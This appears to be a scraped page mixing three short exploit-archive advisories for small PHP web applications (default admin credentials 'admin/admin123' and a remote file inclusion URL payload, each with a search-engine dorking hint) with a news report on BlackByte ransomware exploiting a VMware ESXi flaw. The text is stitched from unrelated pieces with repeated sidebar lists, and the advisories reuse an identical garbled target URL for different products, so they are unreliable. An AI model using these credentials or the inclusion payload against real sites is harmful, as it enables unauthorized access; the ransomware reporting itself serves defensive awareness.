MSMS-PHP version 1.0 suffers from an ignored default credential vulnerability.

tags | exploit, php

SHA-256 | 901a66e3533b07e82bfa171f76797bfe6f506ccd295fb4c073fbbd2ad85576ea

Download | Favorite | View

**MSMS-PHP 1.0 Insecure Settings**

    =============================================================================================================================================| # Title     : MSMS-PHP v1.0 Insecure Settings Vulnerability                                                                               || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/php/14924/online-mobile-store-management-system-using-php-free-source-code.html              |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = admin123[+] https://www/127.0.0.1/yorubanwitness000webhostappcom/admin/Greetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

**File Tags**

*   ActiveX (933)
*   Advisory (86,567)
*   Arbitrary (16,906)
*   BBS (2,859)
*   Bypass (1,878)
*   CGI (1,034)
*   Code Execution (7,840)
*   Conference (691)
*   Cracker (844)
*   CSRF (3,412)
*   DoS (25,123)
*   Encryption (2,389)
*   Exploit (53,308)
*   File Inclusion (4,266)
*   File Upload (1,001)
*   Firewall (822)
*   Info Disclosure (2,893)
*   Intrusion Detection (916)
*   Java (3,144)
*   JavaScript (899)
*   Kernel (7,242)
*   Local (14,808)
*   Magazine (587)
*   Overflow (13,178)
*   Perl (1,435)
*   PHP (5,227)
*   Proof of Concept (2,396)
*   Protocol (3,731)
*   Python (1,648)
*   Remote (31,704)
*   Root (3,639)
*   Rootkit (528)
*   Ruby (632)
*   Scanner (1,657)
*   Security Tool (8,031)
*   Shell (3,281)
*   Shellcode (1,217)
*   Sniffer (902)
*   Spoof (2,279)
*   SQL Injection (16,629)
*   TCP (2,444)
*   Trojan (690)
*   UDP (904)
*   Virus (670)
*   Vulnerability (33,023)
*   Web (9,974)
*   Whitepaper (3,782)
*   x86 (967)
*   XSS (18,267)
*   Other

**File Archives**

*   August 2024
*   July 2024
*   June 2024
*   May 2024
*   April 2024
*   March 2024
*   February 2024
*   January 2024
*   December 2023
*   November 2023
*   October 2023
*   September 2023
*   Older

**Systems**

*   AIX (429)
*   Apple (2,099)
*   BSD (377)
*   CentOS (58)
*   Cisco (1,927)
*   Debian (7,110)
*   Fedora (1,693)
*   FreeBSD (1,246)
*   Gentoo (4,567)
*   HPUX (880)
*   iOS (378)
*   iPhone (108)
*   IRIX (220)
*   Juniper (69)
*   Linux (50,919)
*   Mac OS X (691)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (489)
*   RedHat (16,636)
*   Slackware (941)
*   Solaris (1,611)
*   SUSE (1,444)
*   Ubuntu (9,782)
*   UNIX (9,441)
*   UnixWare (187)
*   Windows (6,677)
*   Other

MSMS-PHP 1.0 Insecure Settings

Laundry Management System version 1.0 suffers from a remote file inclusion vulnerability.

**Laundry Management System 1.0 Remote File Inclusion**

Posted Aug 28, 2024

Authored by indoushka

Laundry Management System version 1.0 suffers from a remote file inclusion vulnerability.

tags | exploit, remote, code execution, file inclusion

SHA-256 | 8fab3cbba3b63d49ce3f1398516dff725855194afb4b9b834d890bf1ab8dff45

Download | Favorite | View

**Laundry Management System 1.0 Remote File Inclusion**

    =============================================================================================================================================| # Title     : Laundry Management System 1.0 File inclusion Vulnerability                                                                  || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.campcodes.com/downloads/online-laundry-management-system-source-code/?wpdmdl=6058&refresh=66bbd3015dcfe1723585281     |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] USe Payload : /index.php?page=http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg[+] http://127.0.0.1/laundry_Management_System/index.php?page=http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpgGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

**File Tags**

*   ActiveX (933)
*   Advisory (86,567)
*   Arbitrary (16,906)
*   BBS (2,859)
*   Bypass (1,878)
*   CGI (1,034)
*   Code Execution (7,840)
*   Conference (691)
*   Cracker (844)
*   CSRF (3,412)
*   DoS (25,123)
*   Encryption (2,389)
*   Exploit (53,308)
*   File Inclusion (4,266)
*   File Upload (1,001)
*   Firewall (822)
*   Info Disclosure (2,893)
*   Intrusion Detection (916)
*   Java (3,144)
*   JavaScript (899)
*   Kernel (7,242)
*   Local (14,808)
*   Magazine (587)
*   Overflow (13,178)
*   Perl (1,435)
*   PHP (5,227)
*   Proof of Concept (2,396)
*   Protocol (3,731)
*   Python (1,648)
*   Remote (31,704)
*   Root (3,639)
*   Rootkit (528)
*   Ruby (632)
*   Scanner (1,657)
*   Security Tool (8,031)
*   Shell (3,281)
*   Shellcode (1,217)
*   Sniffer (902)
*   Spoof (2,279)
*   SQL Injection (16,629)
*   TCP (2,444)
*   Trojan (690)
*   UDP (904)
*   Virus (670)
*   Vulnerability (33,023)
*   Web (9,974)
*   Whitepaper (3,782)
*   x86 (967)
*   XSS (18,267)
*   Other

**File Archives**

*   August 2024
*   July 2024
*   June 2024
*   May 2024
*   April 2024
*   March 2024
*   February 2024
*   January 2024
*   December 2023
*   November 2023
*   October 2023
*   September 2023
*   Older

**Systems**

*   AIX (429)
*   Apple (2,099)
*   BSD (377)
*   CentOS (58)
*   Cisco (1,927)
*   Debian (7,110)
*   Fedora (1,693)
*   FreeBSD (1,246)
*   Gentoo (4,567)
*   HPUX (880)
*   iOS (378)
*   iPhone (108)
*   IRIX (220)
*   Juniper (69)
*   Linux (50,919)
*   Mac OS X (691)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (489)
*   RedHat (16,636)
*   Slackware (941)
*   Solaris (1,611)
*   SUSE (1,444)
*   Ubuntu (9,782)
*   UNIX (9,441)
*   UnixWare (187)
*   Windows (6,677)
*   Other

Laundry Management System 1.0 Remote File Inclusion

The threat actors behind the BlackByte ransomware group have been observed likely exploiting a recently patched security flaw impacting VMware ESXi hypervisors, while also leveraging various vulnerable drivers to disarm security protections.
"The BlackByte ransomware group continues to leverage tactics, techniques, and procedures (TTPs) that have formed the foundation of its tradecraft since its

The threat actors behind the BlackByte ransomware group have been observed likely exploiting a recently patched security flaw impacting VMware ESXi hypervisors, while also leveraging various vulnerable drivers to disarm security protections.

"The BlackByte ransomware group continues to leverage tactics, techniques, and procedures (TTPs) that have formed the foundation of its tradecraft since its inception, continuously iterating its use of vulnerable drivers to bypass security protections and deploying a self-propagating, wormable ransomware encryptor," Cisco Talos said in a technical report shared with The Hacker News.

The exploitation of CVE-2024-37085, an authentication bypass vulnerability in VMware ESXi that has also been weaponized by other ransomware groups, is a sign that the e-crime group is pivoting from established approaches.

BlackByte made its debut in the second half of 2021 and is purported to be one of the ransomware variants to have emerged in the months leading up to shutdown of the infamous Conti ransomware crew.

The ransomware-as-a-service (RaaS) group has a history of exploiting ProxyShell vulnerabilities in Microsoft Exchange Server to obtain initial access, while avoiding systems that use Russian and a number of Eastern European languages.

Like RaaS groups, it also leverages double extortion as part of attacks, adopting a name-and-shame approach via a data leak site operated on the dark web to pressurize victims into paying up. Multiple variants of the ransomware, written in C, .NET, and Go, have been observed in the wild to date.

While a decryptor for BlackByte was released by Trustwave in October 2021, the group has continued to refine its modus operandi, even going to the extent of employing a custom tool named ExByte for data exfiltration prior to commencing encryption.

An advisory released by the U.S. government in early 2022 attributed the RaaS group to financially motivated attacks targeting critical infrastructure sectors, including financial, food and agriculture, and government facilities.

One of the important aspects of their attacks is the use of vulnerable drivers to terminate security processes and bypass controls, a technique known as bring your own vulnerable driver (BYOVD).

Cisco Talos, which investigated a recent BlackByte ransomware attack, said the intrusion was likely facilitated using valid credentials to access the victim organization's VPN. It's believed that the initial access was obtained through a brute-force attack.

"Given BlackByte's history of exploiting public-facing vulnerabilities for initial access, the use of VPN for remote access may represent a slight shift in technique or could represent opportunism," security researchers James Nutland, Craig Jackson, Terryn Valikodath, and Brennan Evans said. "The use of the victim's VPN for remote access also affords the adversary other advantages, including reduced visibility from the organization's EDR."

The threat actor subsequently managed to escalate their privileges, using the permissions to access the organization's VMware vCenter server to create and add new accounts to an Active Directory group named ESX Admins. This, Talos said, was done by exploiting CVE-2024-37085, which enables an attacker to gain administrator privileges on the hypervisor by creating a group with that name and adding any user to it.

This privilege could then be abused to control virtual machines (VMs), modify host server's configuration, and gain unauthorized access to system logs, diagnostics, and performance monitoring tools.

Talos pointed out that the exploitation of the flaw took place within days of public disclosure, highlighting the speed at which threat actors refine their tactics to incorporate newly disclosed vulnerabilities into their arsenal and advance their attacks.

Furthermore, the recent BlackByte attacks culminate with the encrypted files being rewritten with the file extension "blackbytent\_h," with the encryptor also dropping four vulnerable drivers as part of the BYOVD attack. All the four drivers follow a similar naming convention: Eight random alphanumeric characters followed by an underscore and an incremental numerical value -

*   AM35W2PH (RtCore64.sys)
*   AM35W2PH\_1 (DBUtil\_2\_3.sys)
*   AM35W2PH\_2 (zamguard64.sys aka Terminator)
*   AM35W2PH\_3 (gdrv.sys)

The professional, scientific, and technical services sectors have the greatest exposure to the observed vulnerable drivers, accounting for 15% of the total, followed by manufacturing (13%) and educational services (13%). Talos has also assessed that the threat actor is likely more active than what it appears to be, and that only an estimated 20-30% of victims are publicly posted, although the exact reason for this disparity remains unclear.

"BlackByte's progression in programming languages from C# to Go and subsequently to C/C++ in the latest version of its encryptor – BlackByteNT – represents a deliberate effort to increase the malware's resilience against detection and analysis," the researchers said.

"Complex languages like C/C++ allow for the incorporation of advanced anti-analysis and anti-debugging techniques, which have been observed across the BlackByte tooling during detailed analysis by other security researchers."

The disclosure comes as Group-IB unpacked the tactics associated with two other ransomware strains tracked as Brain Cipher and RansomHub, underscoring the potential connections of the former with ransomware groups such as EstateRansomware, SenSayQ, and RebornRansomware.

"There are similarities in terms of style and content of the Brain Cipher's ransom note to those by SenSayQ ransomware," the Singaporean cybersecurity company said. "The TOR websites of Brain Cipher ransomware group and SenSayQ ransomware group use similar technologies and scripts."

RansomHub, on the other hand, has been observed recruiting former affiliates of Scattered Spider, a detail that first came to light last month. A majority of the attacks have targeted healthcare, finance, and government sectors in the U.S., Brazil, Italy, Spain, and the U.K.

"For initial access the affiliates usually purchase compromised valid domain accounts from Initial Access Brokers (IABs) and external remote services," Group-IB said, adding the "accounts have been acquired via LummaC2 stealer."

"RansomHub's tactics include leveraging compromised domain accounts and public VPNs for initial access, followed by data exfiltration and extensive encryption processes. Their recent introduction of a RaaS affiliate program and use of high-demand ransom payments illustrate their evolving and aggressive approach."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

BlackByte Ransomware Exploits VMware ESXi Flaw in Latest Attack Wave

In recent investigations, Talos Incident Response has observed the BlackByte ransomware group using techniques that depart from their established tradecraft. Read the full analysis.

BlackByte blends tried-and-true tradecraft with newly disclosed vulnerabilities to support ongoing attacks

Medicine Tracker System version 1.0 suffers from an ignored default credential vulnerability.

**Medicine Tracker System 1.0 Insecure Settings**

Posted Aug 27, 2024

Authored by indoushka

Medicine Tracker System version 1.0 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | f581303aa2bf9febcf6dcf7c6c3d3a00468a34461c28597369ee71c12e489cbd

Download | Favorite | View

**Medicine Tracker System 1.0 Insecure Settings**

    ====================================================================================================================================| # Title     : Medicine Tracker System v1.0 Insecure Settings Vulnerability                                                       || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-mts_0.zip                                |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = admin123[+] https://www/127.0.0.1/yorubanwitness000webhostappcom/admin/Greetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

**File Tags**

*   ActiveX (933)
*   Advisory (86,561)
*   Arbitrary (16,904)
*   BBS (2,859)
*   Bypass (1,878)
*   CGI (1,034)
*   Code Execution (7,838)
*   Conference (691)
*   Cracker (844)
*   CSRF (3,412)
*   DoS (25,122)
*   Encryption (2,389)
*   Exploit (53,299)
*   File Inclusion (4,265)
*   File Upload (1,000)
*   Firewall (822)
*   Info Disclosure (2,893)
*   Intrusion Detection (916)
*   Java (3,144)
*   JavaScript (899)
*   Kernel (7,242)
*   Local (14,808)
*   Magazine (587)
*   Overflow (13,178)
*   Perl (1,435)
*   PHP (5,226)
*   Proof of Concept (2,394)
*   Protocol (3,731)
*   Python (1,647)
*   Remote (31,701)
*   Root (3,639)
*   Rootkit (528)
*   Ruby (632)
*   Scanner (1,657)
*   Security Tool (8,031)
*   Shell (3,281)
*   Shellcode (1,217)
*   Sniffer (902)
*   Spoof (2,279)
*   SQL Injection (16,629)
*   TCP (2,444)
*   Trojan (690)
*   UDP (904)
*   Virus (670)
*   Vulnerability (33,021)
*   Web (9,974)
*   Whitepaper (3,782)
*   x86 (967)
*   XSS (18,267)
*   Other

**File Archives**

*   August 2024
*   July 2024
*   June 2024
*   May 2024
*   April 2024
*   March 2024
*   February 2024
*   January 2024
*   December 2023
*   November 2023
*   October 2023
*   September 2023
*   Older

**Systems**

*   AIX (429)
*   Apple (2,099)
*   BSD (377)
*   CentOS (58)
*   Cisco (1,927)
*   Debian (7,110)
*   Fedora (1,693)
*   FreeBSD (1,246)
*   Gentoo (4,567)
*   HPUX (880)
*   iOS (378)
*   iPhone (108)
*   IRIX (220)
*   Juniper (69)
*   Linux (50,913)
*   Mac OS X (691)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (489)
*   RedHat (16,631)
*   Slackware (941)
*   Solaris (1,611)
*   SUSE (1,444)
*   Ubuntu (9,781)
*   UNIX (9,441)
*   UnixWare (187)
*   Windows (6,676)
*   Other

Tag

#cisco